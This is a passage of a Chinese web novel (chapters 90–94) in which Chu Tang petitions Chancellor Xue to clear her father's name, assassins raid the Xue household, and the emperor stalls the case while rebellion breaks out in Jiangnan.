按照长公主原本的预期,楚棠得等到入秋后老皇帝从避暑行宫回来再露面——这也是她许多计划中的一种,如果二皇子和六皇子没死在猎场的话,就用这一桩旧案将两人打落尘埃。如果老皇帝执拗不肯翻案,楚棠还需要将事情闹到,闹到人尽皆知,闹到民怨沸腾才好。 不过现下情况倒是不同了,二皇子和六皇子竟真在重重护卫下死在了夏时手里。这还不止,送灵途中的一场刺杀更是神来之笔,闹得老皇帝在行宫都有些待不住了。 就在前两日,老皇帝下旨提前回京了,这也是萧晏书急匆匆去找楚棠的原因。 赶在御驾回京之前,楚棠终于堂堂正正走进了京城。之后她并没有直奔衙门,反而敲响了楚尚书故交、国子监祭酒薛冰薛大人家的大门。 薛大人和楚尚书算是同乡,恰好又是同榜进士,细细算来已有二十多年的交情了。这位祭酒是出了名的脾气臭,不善交际不会做官,只一身才学胜过旁人许多。他能安安稳稳去了还算合适的国子监,甚至能做到祭酒的位置,没少受楚尚书这老友照拂。 薛大人能和楚尚书相交多年,自然也不是什么势利眼,或者忘恩负义之辈。只不过国子监这地方就是个读书的地方,只管教书育人,和查案审案是八竿子打不着。 当初楚尚书蒙冤下狱,薛大人也试图替他奔走过。只不过他本身没什么人脉,再加上楚尚书在狱中又死得太快,以至于对方根本没来得及做什么……这是长公主查到的,也是她和萧晏书替楚棠精挑细选出来的求助人选。 “砰砰砰”。楚棠揣着证据,按计划敲响了薛家大门。 “来了,谁呀?”院门打开,一张老脸露了出来,正是薛家的门房。 薛大人家并不富裕,家中的仆人拢共没几个,这门房便是在他家干了十几年的老人。因着薛楚两家交好的缘故,楚棠也曾来过薛家,这门房年纪大了记性倒好,看到楚棠竟是一眼便认出来了。 “是楚小姐啊,您怎么来了?” 老门房习惯性的问候了一句,只笑容还没来得及在脸上绽开,忽然就僵在了脸上——他想起来了,楚家去年不就出事了?听说忽然就被下了大狱,他家大人听到消息可急坏了,还想帮忙捞人来着,结果都没来得及给人送礼走关系,听说楚家老爷就死在了牢里。 当家人都没个好下场,儿女又能有什么好结局?后来听说楚家全家都给流放了,眼前这楚小姐又是从哪里冒出来的?别不是逃狱逃出来的,现下找上门来,不会牵连他家老爷吧?! 门房人老成精,又是生活在京城天子脚下,听过的见过的太多了,自然满心的防备,甚至有一瞬间想要直接关门。 楚棠自然看出来了,当下上前两步,正正好挡在了院门前:“劳烦老丈,帮忙通传一声,就说有故人之女前来求助。” 门房并不想传这个话,怕惹事上身,可院门被挡住关不上,他也不能真伸手去推人。左右为难片刻,到底是看楚棠可怜,咬牙道:“那,那您等等,我这就去。” 薛大人管着国子监,此番没跟老皇帝去行宫避暑,如今倒真在家里。听到门房通报之后他几乎是一路跑来的,见到楚棠先是惊喜,紧接着就是惊吓。忙上前几步都顾不得礼仪,直接将人拉进了自家院子,接着往门外张望两眼,飞快关上了院门……身为读书人,他头一次这般做贼似得动作。 等平复了心情,薛大人这才回头仔细将楚棠打量了一遍,开口时语声哽咽:“好,好,好,活着就好。” 楚棠一顿,对于薛大人这般表现略略意外,毕竟当初她流放出京的时候,这位“耿直”的叔父也不曾露*面送行过。但此时听他这般说,楚棠心下又有几分了然——不关注的人根本不会知道楚棠“死”在了流放路上,也说不出活着就好的话。 这位叔父虽没露面,但大抵是帮她在流放之地打点过,因此才知道她“死”在了半道这事。 心下略略感慨,楚棠也不曾多说什么,忽的膝盖一弯便冲着对方跪了下去。 薛大人惊了一下,忙伸手去扶:“侄女这是做什么,快起来。” 楚棠没起,而是从袖中掏出早就准备好的账册递了上去:“叔父,侄女有事相求,求您替我父伸冤。他实是被人所害,这些便是证据!” 90-100 91☆、第91章 ◎万幸夏时足够粘人◎ 长公主为楚棠准备的证据自然不止那几本账册,连带着五年前江南水患赈灾的情报也一并给了她。而楚棠将证据递给薛大人时,便将后者放在了前面。 她很清楚,什么东西才更令人震撼。 果不其然,薛大人没怎么犹豫就接过了她递去的证据,然后翻开一看,很快就瞪大了眼睛气得浑身颤抖起来,像是下一刻就要晕厥过去一般:“怎,怎会如此?畜生,畜生啊!” 楚棠低眉垂目,不予置评,因为这些东西她早就已经看过了。 好一会儿,薛大人才抖着手看完了手里的东西,再抬头时双眼都是一片血红。他咬着牙,脸皮颤抖着,眼中满满的愤恨像是要咬死什么人:“侄女放心,这事,这事我替你去做!”说完抬手捂眼缓和了一阵,才继续道:“这两日你且暂居我家中,放心住,叔父不会害你的。” 楚棠信这话,再行一礼:“那就拜托叔父了。” …… 薛大人乃是国子监祭酒,论官职衙署,国子监和查案八竿子打不着,翻案的事自然轮不到他亲自去做。再加上他为人耿直脾气臭,当了这些年的官,除了楚尚书也没几个真正能交心的好友。是以这证据送到他手里,他一时半会儿也想不到怎么做才能不让事情被掩埋。 毕竟他手里的证据不是很充足,当年赈灾的官员受到褒奖后,这些年在朝中发展得也很不错。就算他们背后站着的靠山二皇子或六皇子已经死了,这些人也不是轻易就能动摇的。 当晚薛大人几乎一夜未眠,思来想去,最后还真被他想到了个法子。 不几日,一则小道消息就在国子监中流传开来…… “诶,刘兄,听说了吗,外面不太平,江南那边好像又要生乱了。” “你哪儿来的消息?去岁江南不是才闹过一场,听说死了不少人呢,今年怎么还敢闹?” “这你就不知道了吧,不闹活不下去啊。反正都是一死,还不如搏一搏,说不定有条活路。” “这话怎么说的,如今朝堂还算清明,怎么就活不下去了?” “诶,这,这可是隐秘,我和你说了,你可别出去说。” “放心放心,你我兄弟,我自然不会出卖你。” “这事还得从五年前那场水患说起。当时朝廷赈灾可是拨付了不少银钱米粮,江南也因此没生出乱子,赈灾的那些大人回来后个个都得了褒奖,仕途好不顺畅。但这事背后却有隐情,那些赈灾的钱粮根本没送到江南去,其实全给人贪了!” “嘶……这事你怎么知道?好好好,我不问这个,那照你这么说,当年江南根本没收到朝廷赈济,那些灾民居然没闹?朝廷可最怕这个了,真闹起来朝廷不可能没得到消息。” “这才是我要和你说的重点,你可真别往外说,你说了我也不会承认的。” “好好好,你可别吊胃口了,快说。” “其实当初江南不是没闹,而是能闹的人全死了。我听说是有官员骗灾民集中赈济,等那些受灾的人聚集到一起后,就有将军调了军队过去,把人全杀了!” “不可能,这得杀多少人,怎么可能瞒得住?而且私调兵马可是重罪,哪个将军敢这么做?” “听说是杀了好几万人,江南一个府的灾民都给杀空了。那些灾民受灾之后流离失所,不在户籍地,被杀了也没人管闲事。不过后来水灾过去,死了的人当然不能再回去耕种。地方官员考核也要看人口税收的,这事就被瞒了下来。” “是了,朝廷免了江南三年赋税,等这三年一过,可不就原形毕露了吗?” 原形毕露是不可能原形毕露的,官员要政绩要前途更要脑袋,再则地方官三年一换任,现任官员当然不可能替前任背锅。而当初灾民的田地也早被当地豪族瓜分,可惜有地无人种,豪族更不可能主动交税补足缺口。于是赋税的缺口最后还是落在了仅剩的那些百姓身上,可不就逼得人活不下去了吗? 有道是两个人知道的秘密就不再是秘密,这则消息很快就在国子监传遍了。而国子监这地方,有官宦子弟,也有地方学子,甚至还有豪商巨贾砸钱送后辈进来读书,可谓是鱼龙混杂。 不过不管这些学生是何来历,年轻人总是热血难凉的,尤其是一群读书人。当他们听说了五年前的江南惨案,便很难只将其当做一个故事来听。 于是有人将消息传开,有人设法打听江南消息,还有人洋洋洒洒写诗写文。 当然,置身事外的人也不少,可这不妨碍消息迅速传播开来。以至于等到老皇帝的圣驾回京,江南惨案之事已经在京城里传得沸沸扬扬了。 而作为当初亲历此事的赈灾官员却因随老皇帝避暑,错过了第一手消息。等他们收到亲眷属下传信,知道消息反应过来再想封锁,已是迟了不止一步。 ******************************************************* 是夜,月朗星稀,虫鸣阵阵。 几道黑影翻过院墙,避过门房耳目,潜入了薛家宅邸。 薛大人家中并不富裕,因此这宅子也并不大,拢共只有前后两进。前院住着门房和家中为数不多的几个仆从,后院里则住着薛大人一家。薛大人夫妇自是住在主屋,东西厢房则分别住着薛大人的一儿一女。如今多了个楚棠借住,便与薛小姐一同住在了西边厢房。 潜入薛家的黑影显然很清楚这宅子的布局,悄无声息进入后院后,便分出了两拨人手。一拨人直奔主屋,另一拨则冲着西厢而去。 有两人悄无声息的来到厢房门前,伸手推了推门窗,发现全都紧闭,于是便从怀中掏出了小刀顺着门缝插了进去。小刀从上而下缓缓滑落,终于卡在了门栓上,而后随着黑影的小心拨动,一点一点将门栓拨开。直到“啪嗒”一声,门栓开了,房门也随之敞开。 “吱呀”一声轻响随之响起,是门页活动发出的动静,在白日不甚明显,但偏偏此时入了夜。夜色将一切掩盖,也将所有声响放大。 两道黑影明显被这动静惊了一下,先前轻手轻脚的小心举动都被这一道声响打破。 两人对视一眼,立刻决定不再掩藏,双双抽刀冲入了屋内。借着月色,两人一眼就看清了屋中布置——这显然是一处客房,虽然桌椅屏风一样不少,但并没有多少私人物品,看上去也就有些空荡。不过这样更好,不容易藏人,两人一眼就看清了屋中情况,旋即转身便往屏风后去。 按照一般卧房的布置,外间是主人活动或待客的地方,屏风后则是卧榻衣柜之类。如今正值深夜,屋子的主人在被惊醒前,应该是躺在床上睡得正香。 两人绕过屏风,果然便瞧见了拉上床帐的大床,当下三两步赶上前去。 一人伸手撩开了床帐,另一人则飞快举刀向下劈砍。 只听“砰”的一声,长刀毫无阻碍的劈下去了,只可惜劈中的不是人。挥刀的刺客立刻察觉到了手感不对,正要去掀床上凌乱的被褥,忽的生出一股危机感来,后颈汗毛瞬间炸起。 这是生死间历练出来的危机意识,刺客几乎想也不想就往前扑去。可仍是迟了一步,一把短刀如鬼魅般自黑暗中探出,快准狠的冲着他后颈刺去。刺客只躲开了半寸,仍旧被这一刀狠狠刺穿了脖颈,鲜血喷洒开的瞬间,他不仅没能自救,甚至连半分声响也来不及发出。 “噗通”一声,这人终于向前扑到在了柔软的床榻上,可惜倒下之时已没了声息。 他的同伴慢半拍终于发现了不对,可同样来不及做什么,就被同一把刀封了喉。同时一只手迅速捂住了他的嘴,让他连最后时刻都没办法发出声音,向外面的同伴示警。 短短片刻,屋中多了两具尸体,浓重的血腥气开始在屋中蔓延。 楚棠脸色难看的从一旁的衣柜后走了出来,她看也没看倒在床边的两具尸体,急匆匆对夏时道:“快去主屋看看,别连累了薛叔父他们。” 夏时自己下的手也很放心,确定两个刺客都已经死透了,便冲楚棠点点头:“好,你先在屋里躲着,哪儿也别去。” 楚棠答应了,她惯来知道轻重,也有自知之明,并不会给人拖后腿惹麻烦。只是看着夏时匆匆而去的背影,心里犹自有些后怕和庆幸——这场刺杀是她没有料到的,薛大人再不济也是朝廷命官,而且还是从三品的高官,她是怎么都没想到有人能直接闯进他家来杀人灭口。 万幸夏时足够粘人,从她住进薛家那晚开始,这家伙便偷偷翻墙进来和她同住。夏时甚至为此带了干粮在身上,只要能避开人耳目,她就一直躲在这房里,从来不曾露面。 这本是小两口私下里黏糊的小事,却不料今晚竟救了她,乃至薛家全家的命。 楚棠深吸口气,定了定神,又躲回了衣柜后面。但与此同时她也竖起了耳朵,小心听着屋外的动静。 夜色将一切声响都放大了,刀剑相交的打斗声,□□撞击的沉闷声,一声声随着夜风传入了屋内……楚棠不知不觉揪紧了衣袖,开始担心。夏时手上的伤还没痊愈呢,也不知外面的刺客到底还有几个? 92☆、第92章 ◎夏时露面后就没打算藏着掖着◎ 楚棠和夏时显然都低估了薛大人——文质彬彬的国子监祭酒年少时也曾学君子六艺,甚至参加科举之前,还有过游历四方的想法。薛祭酒为此也学了一手好剑术,勤学苦练至今,就等着哪日官场混不下去了,还能继续少年时的梦想。 于是在今时今夜,当夏时提着刀赶去主屋救人时,看到的不是血溅三尺的可怕场面。相反薛大人正手持长剑,和刺客们打得有来有往,还将夫人好好的护在了身后。 这可真是,厉害啊! 夏时震惊了一下,也没多耽搁,很快挥刀上去相助。 因为夏时是偷偷翻墙进来私会的缘故,薛大人并不认识她,但好在对方也不傻,是敌是友在交手时很容易便能分辨出来。两人没多一会儿就配合出了几分默契,再应对这些刺客就变得游刃有余起来——说实话,这几个刺客的水平确实也一般,远远比不上当初夏时在庆阳城外交手的那些死士。 约莫交手过了一刻钟,最后一个刺客眼见不敌转身欲逃,被夏时直接一刀掷中了后心倒下,这场突如其来的夜袭也终于结束了。 不大的小院很快恢复了平静,左右两侧的厢房里很快传来了动静。 楚棠都还没出去,东厢房的门便开了,紧接着一个十一二岁的小少年便跑了出来。他早听到外面动静了,可他尚且年少,薛大人自来教他的都是自保为上,也是怕他莽撞拖后腿。于是少年生生忍到了外面没了动静,这才急匆匆跑出来查看情况。 这一看,小少年就吓了一跳,然后直接躲去了母亲身后:“阿爹,阿娘,这到底是怎么了?” 话音落下还没等薛大人夫妇回答,西厢房里的人也出来了。楚棠先行一步,接下来便是薛家小姐,她比弟弟要大上三四岁,如今已是及笄成年了,看着也更沉稳了些。 当然,女孩儿家骤然看到满院子的血腥尸体,也是吓了一跳,小脸煞白。 楚棠没顾得上安慰这受惊的小姐妹,一眼就看到了夏时站在薛大人对面,双方隔着些距离,明显还有几分生疏。她便自顾自走到了夏时身边,伸手去牵夏时的手,结果意外被躲开了。 这还是夏时第一次拒绝她的亲近,楚棠诧异的看了过去。 夏时悻悻的将手在衣裳上擦了擦,结果她衣衫上也染了血,怎么擦手上都是红彤彤一片。她只好压低声音无奈的对楚棠说:“别碰了,我手上都是血。” 这声音她虽然压低了,但在寂静的夜里依旧清晰的传入了在场之人的耳中。 众人闻言也听出来了,这陌生的女郎明显是和楚棠认识的。于是薛大人最后的警惕也放下了,他将手中剑在衣摆上擦了擦,然后挽了个漂亮的剑花直接归剑入鞘。 收了兵刃,薛大人这才上前问道:“贤侄女,你与这女郎认识?” 楚棠脸红了红,倒也没有隐瞒的意思,再次牵起了夏时的手对薛大人介绍道:“还未与伯父说起过,这位是我夫人。当初我在流放途中重病,被官兵遗弃后辗转流离,是她救下了我。此番前来伯父家求助,她不放心我,是以偷入府中,还请伯父勿怪。” 薛大人倒也不是什么斤斤计较的人,闻言只将夏时上下打量了一番,倒是没多说什么。接着很快便将目光落在了地上那几具尸体上,面色沉沉。 楚棠适时开口说道:“我屋中还有两个。” 薛大人闻言脸更黑了,有刺客直奔楚棠居所,不用猜也知道动手的是些什么人。因此不等楚棠问他如何处置,薛大人便说道:“陛下也回京了,不必再等,报官吧。” 薛家小郎最先应声,然后绕过满地尸首,直接跑了出去。 夜里报官其实比白天还容易,因为京城夜里其实有宵禁。虽然并不严格,但满街都是巡逻的金吾卫,薛小郎跑出去没半刻钟,便领着一支金吾卫回来了。 ****************************************************** 京师重地天子脚下,居然有人敢夜闯官员宅邸行刺,刺杀的还是个从三品的高官,这事理所当然受到重视。不仅薛家一家,连带着楚棠和夏时都一起进了京兆府衙门。 翌日消息传开,近来本就活跃的国子监学生更是怒不可遏,竟直接去了宫门前静坐,彻底将事闹大。 老皇帝刚回到京城,一路舟车劳顿还未缓解,不过是睡了一觉而已,哪知外面已经闹翻了天。他正用着早膳呢,内侍总管梁忠就急匆匆跑了进来:“陛下,出事了。” 近来多事之秋,老皇帝一听这话就头疼,摔了碗问道:“又怎么了?” 梁忠便道:“昨夜国子监祭酒家中遭袭,今早消息传开,国子监的学生便闹了起来,如今正在宫门前静坐。”顿了顿又道:“已有不少百姓被吸引前来,如今宫门都给堵住了。” 国子监祭酒虽是从三品,但因为国子监本身很少牵扯朝政,老皇帝对薛冰也不熟悉。他闻言想了许久才想起这么个人,可左思右想也想不明白,一个祭酒到底是得罪了什么人,居然大半夜还有人跑去他家杀他。不过不管怎么说,敢对朝廷命官动手这事,都有点触及底线了。 老皇帝当即皱了眉,再问:“到底怎么回事?是谁这么大胆,敢在京城动手?” 这梁忠便不是很清楚了,不过身为内侍总管,掌握一手消息是必备技能,事情的前因后果他倒是知道得差不多。这事偷瞥一眼皇帝脸色,到底还是将事情娓娓道来。 江南赈灾是五年前的旧事,楚尚书的案子也是一年前的事了,在老皇帝心里这些早就翻篇了。此刻听人将这些旧事重新翻找出来,尤其是言及冤屈,不论是楚尚书的冤屈还是江南百姓的冤屈,都不是老皇帝想听的,一时间听得眉头大皱,很是烦躁。 梁忠自然看出来了,于是尽量精简了言辞,偏还不敢不说完。 老皇帝倒也没有打断,听完之后皱着眉问道:“人现在在京兆府衙门?昨夜那些刺客查出什么来了,都是冲着楚氏女去的吗?” 梁忠也不敢隐瞒,更不敢添油加醋:“正是。昨夜刺客分了两拨,一拨去杀楚氏女,一拨去杀薛大人。”所以是真的有人要杀朝廷命官,不是推给楚氏女就能轻拿轻放的。 老皇帝显然听明白了暗示,同时也没忘记宫门外那帮学生,知道不给个说法那些人是不会散的。这让他很是烦躁,因为无论是对赈灾官员的嘉奖,还是对楚尚书的判处,都是他做的决定。而身为君王,老皇帝是不可能轻易承认自己错了的。 烦躁的起身踱步转了几圈,老皇帝忽的想到了什么,问道:“薛家什么情况,护卫很多吗?怎么去了那么多刺客,一个人都没杀死?” 梁忠躬身答道:“回陛下,并非如此。薛家窘迫,不过有几个老仆,后院发生打斗他们在前院睡着都没听到动静。不过薛大人擅剑,楚氏女身边也有同伴相护,刺客不是对手反而伏诛。”他顿了顿,才又道:“护着楚氏女那人与公主府有些渊源,正是前些天护着长公主逃入山中的护卫。” 夏时露面后就没打算藏着掖着,她曾经作为长公主护卫的事自然也不难查,这些都是大大方方摆出来给人看的。梁忠得到了消息,果然如实禀报给了皇帝。 老皇帝听罢皱了下眉,很快将所有事串联起来,心中虽然有些烦长公主给他找事,但与此同时也降低了对大女儿的戒心——替楚尚书翻案一事显然不是临时决定,她早就掌握了扳倒二皇子和六皇子的证据,能堂堂正正将人解决,又何必冒险行刺杀小道呢? 猎场一事最大的嫌疑人长公主似乎洗脱了嫌疑,那么另外两个不省心的儿子,可疑指数就开始直线上升了。再加上送灵途中的那场刺杀,这两人不仅气量狭窄,而且无法无天! 老皇帝的眼神蓦地冷了下来,只是眼下需要解决的还是宫门前那帮学生,老三老四的事还得等等。 梁忠低眉垂眼,假装没看到老皇帝脸色变化,过了好一阵才听到老皇帝吩咐:“传话出去,此案移交大理寺彻查,让宫外那帮学生都散了吧。” 这话说得梁忠心里一突,消息灵通如他,自然能听出这话内藏的深意——别看老皇帝这话说得冠冕堂皇,案子移交大理寺程序上也没有半点问题,可问题出就出在人身上。他可是知道,当年赈灾一事牵扯的官员中,有一个就是大理寺卿的妻弟,案子交给大理寺去办,最后能办成什么样还真不好说。 他不免在心里叹了口气,虽然身为内侍总管他也见多了富贵权势,可梁忠本身也是底层出身,活不下去才挨了一刀进的宫。现在听说了江南灾民的惨案,他是比高高在上的皇帝更能感同身受的。 可即便伴在君王侧,不该说的话他也不能说,只好压下多余的情绪,俯首领命而去。 老皇帝自然也不会注意到梁忠的情绪变化,自觉将这事处置妥当之后,他又开始思量起该如何对待老三老四了——走惯了捷径的人不会再想走正道,说不得这俩尝到了甜头,会胆大包天的冲君父下手呢? 得先敲打敲打,敲打不成,就该想想怎么把人废了! 93☆、第93章 ◎总有他不得不面对的时候◎ 在老皇帝的旨意下,案子很快移交到了大理寺,相关人等也全都转去了大理寺衙门。 薛祭酒家的夜袭案倒是进展得很快,没两日大理寺便查到了幕后主使,将人绳之以法。只是出人意料的是,大理寺查出来的幕后主使并非当年江南赈灾的官员,相反只是一个和楚尚书有些旧怨的小官。据他交代是偶然见到了楚棠这个漏网之鱼,一时不忿才派人狠下杀手。 这说辞当然没有人信。别的暂且不说,光是那小官发现了楚棠这个逃脱流放刑罚的罪人,第一反应就应该是报官将人抓起来,而不是自己派人动手去杀人。 公主府内,几个相关之人齐坐一堂。 薛祭酒脸色沉沉,一掌拍在面前案几上:“什么幕后主使,不过就是个被扔出来顶罪的。大理寺不想翻旧案,一点不和当年的人沾边。”说完想想还是生气,又道:“大理寺卿因私废公,这事不能让他遮掩过去。我听说御史何川与他有仇,正好可以参他一本。” 这话说得有点天真,萧晏书听罢不免叹了口气:“参他什么?大理寺一应程序完善,证据也齐全,御史弹劾之后查下来也不会抓住把柄。你要说他妻弟的事,得先拿证据说话。” 薛祭酒皱了皱眉:“谁说没有证据了,楚棠手里的难道不是证据?” 楚棠手里确实有证据,但并不详尽,假造的手册、誊抄的账本,以及江南调查的蛛丝马迹,都不能作为铁证一下子将人锤死。在座几人心里其实都有数。 长公主垂着眸听他们说了半晌,直到此时才轻扣案几,开了口:“没用的。不想翻案的人不是大理寺卿,而是陛下。” 这话说来嘲讽,真要论起来大理寺卿或许比老皇帝更想查清案子——能做到大理寺卿这样高位的官员,哪一个不是付出了几十年心血。区区一个妻弟而已,就算被治罪了也连累不到他。相反京中物议沸腾,包庇这妻弟就会落下把柄,谁都不会愿意拿自己的前程去换这样一个无关紧要的人。 长公主一语点破关键,屋中瞬间寂静下来,谁也不知这话该怎么接。 还是夏时等不了了,倏地一下站起身来:“那之后怎么办?阿棠还在大理寺牢房里,再耽搁下去,说不定她就要出事了。” 夜袭案报官之后,薛祭酒和夏时等人作为苦主当然无事,不论案子最后查成什么样,至少她们也是安全无虞。可楚棠就不一样了,她是被判了流放的罪人,现在不在流放地却出现在了京城,一个逃犯的罪名就能将她羁押。于是理所当然的,她进了大理寺牢狱。 其他人可以心平气和的在这里商谈之后的事,但夏时不行。她早就心焦不已,一时半刻不守在楚棠跟前,都担心她在牢里吃苦受罪,就更受不了这些人啰啰嗦嗦个没完了。 萧晏书看了看她,抬手做了个下压的动作:“稍安勿躁,稍安勿躁。” 夏时没法安,她眉头拧得死紧:“我是可以稍安勿躁,阿棠怎么办?她在牢里还不知会遭遇些什么,万一,万一……”她万一不下去了,也不敢深想。 还是长公主开口解了围:“她没事,牢里会有人照顾。” 这话依旧难以让人安心,毕竟牢房里的官吏位卑职小,真要对上上官哪里还能护得住人?不过长公主都已经发话了,还说得这般笃定,倒让人难以纠缠下去。 夏时憋了一肚子气,很想做些什么又做不了,最后只能坐了回去——要是当初进入猎场的人不止二皇子和六皇子就好了,她一定顺手送这是非不分的老皇帝一起走! 察觉到夏时身上散发的戾气,屋中其余几人却都没说些什么。 薛祭酒又将话题转了回去,也是一脸的憋闷:“陛下糊涂,但这事不能算了。” 长公主闻言掀起眼皮,依旧一派从容模样:“自然不能算了,总有他不得不面对的时候。” ********************************************************** 国子监学生来宫门前静坐一事,在老皇帝那里不过是个小插曲。等宫门外的学子散了,京中舆论再如何沸腾,他这高坐明堂的皇帝也可以听不见。 与之相比,成年儿子们的心越养越大,都盯着他屁股下那张椅子的事,要更值得帝王忌惮。 于是在接下来的日子里,老皇帝没问过一句大理寺案子查得怎么样了,相反开始对朝堂大刀阔斧的动起手来——二皇子和六皇子已逝,两人手下的势力没了归属自然要重新划分。三皇子和四皇子本来准备捡个便宜,却在这关头被老皇帝盯上了,不仅没能扩张势力,还被好一番针对。 长公主本来是想趁着局势混乱,也发展一番势力的,可看着朝堂被老皇帝折腾得乌烟瘴气的模样,还是暂时收了手,免得遭遇池鱼之殃。 与此同时,老皇帝还把刚满十岁的七皇子拎出来抖了抖,一副想让他提前入朝听政的样子。 当然,让十岁小皇子入朝听政这事就太荒唐了,哪怕老皇帝想要一言堂,也被百官撅了回去。不过老皇帝显然没死心,转头又往七皇子身上砸了不少虚职。 乍一眼看去,这还没入朝的小皇子身上的官职,比起三皇子四皇子来说还要高。不过明眼人一眼就能看出来,老皇帝这是抬了小儿子,打压两个成年皇子呢。 此举让不少人心中腹诽。老皇帝年纪也不小了,成年的儿子就剩这两个还这般打压,难道真想扶幼子登基?可七皇子年纪也太小了,不说别的,光等他长成都还得六七年,谁又知道这六七年间事态又会发生到何种地步?甚至说句不好听的,老皇帝能不能活到六七年后都难说。 朝堂里,因为老皇帝的一番折腾,简直乱成了一锅粥。可显然天下不会因为朝堂上的几个人争权,就不再发生事端。 六月底,一封急报入了京,国子监的流言成了真,江南又起反叛。 老皇帝在早朝上气得一把摔了奏疏:“怎么又是江南?谁能告诉朕,江南又发生了什么,那些逆贼前仆后继的反叛,是真不怕死吗?!” 殿中官员齐声请罪,请皇帝息怒,但垂下的眼眸里不无嘲讽——京城最近的舆论谁没听过?算算日子,六月不正是夏税征收的时候?老皇帝拖着当年的案子不查,税也不减,人家活不下去当然要继续反。而且反都反了,这次就不是单纯减税能够平息事端了。 至于派兵马镇压?不少官员在心中摇头。五年前又是水患又是人祸,到底死了多少人还真不好说。不过江南富庶之地连税都交不起了,肯定是缺人,镇压叛乱再杀一波,江南怕是更空了。 居于庙堂之高,许多官员看待百姓就只是一串数字,代表着人口和税收。他们过得好不好并不重要,但如果人没了,税也没了,那才是真正的动摇根基! 老皇帝心里也明白这点,所以江南第一次发生叛乱时他毫不留情的镇压了。可这第二回,还是如此紧密发生的第二回叛乱,也让他心中生出了些嘀咕——叛乱还是要镇压的,但至少,至少这次不能再把人全杀了。哪怕是皇帝,也舍不得几万几万的杀自己百姓啊! 气呼呼坐在御座上发泄完,老皇帝目光在下方朝臣身上扫过,看来看去也没想好该派谁去处理此事。于是他干脆开口问道:“江南平叛,哪位爱卿愿替朕分忧?” 文官们个个低头缩脑,一副不想掺和的样子。 平叛这事也更适合武将,当下还真有几个武将生出了跃跃欲试的心。只是还没来得及站出来表态,就被身边关系好的同僚一把给按住了——这次平叛可与上次不同,明知道是个烂摊子,收拾好了自然大功一件,可要是秋税或者明年再发生叛乱,后续怕不是要被老皇帝迁怒。 武将们也不傻,看文官们那副表现,就知道这是个烫手山芋。再说他们本来也只擅长领兵,不擅长内政,哪里能帮百姓和帝王解决后顾之忧? 一时间,朝堂上人才济济,却没一个人站出来替老皇帝分忧的。 老皇帝见状又被气了一回,忍不住起身在御阶上来回踱步,过了会儿忽然指着一人说道:“王申,你去。朕不管你用什么方法,平定了这次叛乱,明年……不,之后朕都不想再听到江南生乱的消息!” 王申本是户部侍郎,平叛这事怎么也不该轮到他头上。可现在老皇帝却亲点了他主理平叛一事,显然对各中内情也是心里有数的。于是王申干脆站了出来,直言道:“领兵之事非臣所长,但要解江南后顾之忧,臣请重新核对江南土地人口。” 此言一出,几乎是将当年旧案直接翻了出来——当初江南水灾自然是淹死了一些人的,但淹死的人都在当地,因此官府其实有大致的人数记载。逃难的百姓也免不了死伤,这可都有一个度,突然消失的几万人……或许不止几万,这么大的人口缺口,自然不是一两句话能够糊弄过去。 此外五年前的旧案能忽然闹大,背后不可能没有推手。王申心知肚明,自己只要到了江南便少不了有人将证据和真相放到他眼前,而他也并不想装聋作哑。 94☆、第94章 ◎这才几天,怎么就瘦了◎ 朝堂上的博弈夏时并不清楚,也与大牢里的楚棠无关——虽然早在进入京兆府的时候,她就将替父申冤的状纸和证据都呈递了上去,可案子被压了下来,她也无可奈何。唯一的好处是有长公主的照拂,哪怕她如今身处牢狱,也没当年突然下狱时的惶然与*狼狈。 时隔数日,夏时终于有机会一脚踏进了大理寺的监牢。 明明是六月底的天气,外间正是燥热难耐的时节,可当她一脚踏进牢房的瞬间,一股阴寒伴随着血腥汗臭等等混杂在一起的古怪气味,立刻扑面而来。 饶是见多了脏污不太讲究的夏时,此刻都忍不住抬手捂了捂鼻子,身上的热汗也瞬间冷却下来。 这真是个鬼地方,她刚进来就觉得难以忍受,体弱又好洁的楚棠哪里受得了?夏时心中顿时生出一股迫切,迫切的想要见到人,也迫切的想要将人从这鬼地方带走! “诶,女郎先等等。”带她进来的女牢头及时叫住了夏时,转身去班房里拿了钥匙出来。 夏时皱着眉一言不发,眉宇间都透着焦躁。而这股焦躁在真正进入牢房之后,便更加难以忍耐了——她以为牢房里又黑又臭已经是极限了,可走进去才发现,能被关在大理寺监牢里的重犯也没几个正常人。有的疯疯癫癫就算了,还有的趁着她路过伸出手来,试图袭击她! 当然,牢头一棍子敲过去,对方就老实了。夏时本身面对虎豹都能临危不乱,自然也不怕这几个疯子,可她的阿棠呢?在这样的环境下,怕是连闭眼睡觉都不能安心吧? 想到了什么,夏时终于忍不住忧心忡忡,问牢头道:“她现在怎么样,是一个人单独关押的,还是和其他人关在一个牢房里了?” 牢头闻言讨好似得笑了一下,回道:楚姑娘当然是单间,殿下有交代过的。” 夏时听罢终于放心了些,自己单独一间牢房,至少没人能欺负楚棠。不过大牢本身也不是什么安全的地方,夏时便又问道:“那,最近有人审讯吗?” 牢头便又回答:“女郎放心吧,没人审讯,也没人见过楚姑娘。” 楚棠目前的处境很特殊。老皇帝压着案子不想翻案,可偏偏事情早就闹大了,想要不管不顾的将人继续流放或者罪加一等,又怕抵不住民意坏了自己名声。而大理寺卿就更糟心了,他是想审案不能审,更不敢让楚棠不清不楚的死在自己治下,最后也只能选择视而不见了。 如此一来二去,正经能提审楚棠的人便没有了。至于其他想要趁机灭口的人倒是不少,可有大理寺卿和长公主护着,这牢房还真就成了楚棠的庇护所。 除了不自由,除了不能与爱人日日相见,如今的日子对于楚棠来说,倒真没有那么难熬。 这一点在夏时见到楚棠时也确认了。因为楚棠的牢房很特殊,她被关在了大牢最深处的几间牢房里。而这几间牢房特殊就特殊在是用来关押罪官的,而且是有机会走出牢狱的罪官。这些人要么能力卓绝,要么背景强硬,大理寺也不愿意得罪,便特地设置了这样几间特殊的牢房。 夏时站在铁门外,透过门上方的小口往里看,就见这牢房里座椅屏风样样不缺,甚至那桌上还放着一壶茶和一碟子点心。要不是铁门紧锁,牢房墙上也只有一个小小的透气口导致光线昏暗,这屋子看着甚至不比一般的客栈上房差! 见牢房条件不错,夏时又松了口气,旁边牢头适时开口:“女郎且先让让,我替你将这牢门开了。” 夏时“哦哦”应了一声,赶忙让开位置,就见牢头拿出两把钥匙插入锁孔,才将这铁门打开了。她顺便瞄了一眼那门的厚度,足有两三寸,住这里想要越狱恐怕也比别处难许多。 好在这念头也只在夏时脑海中一闪而逝,牢头打开了大门后,她一个健步就冲了进去。 彼时楚棠正靠墙坐着,仰着头,透过墙上那小小的透气口向外看。隐约能看到外面一小片蔚蓝天空,可惜却连半分阳光也洒不进来。 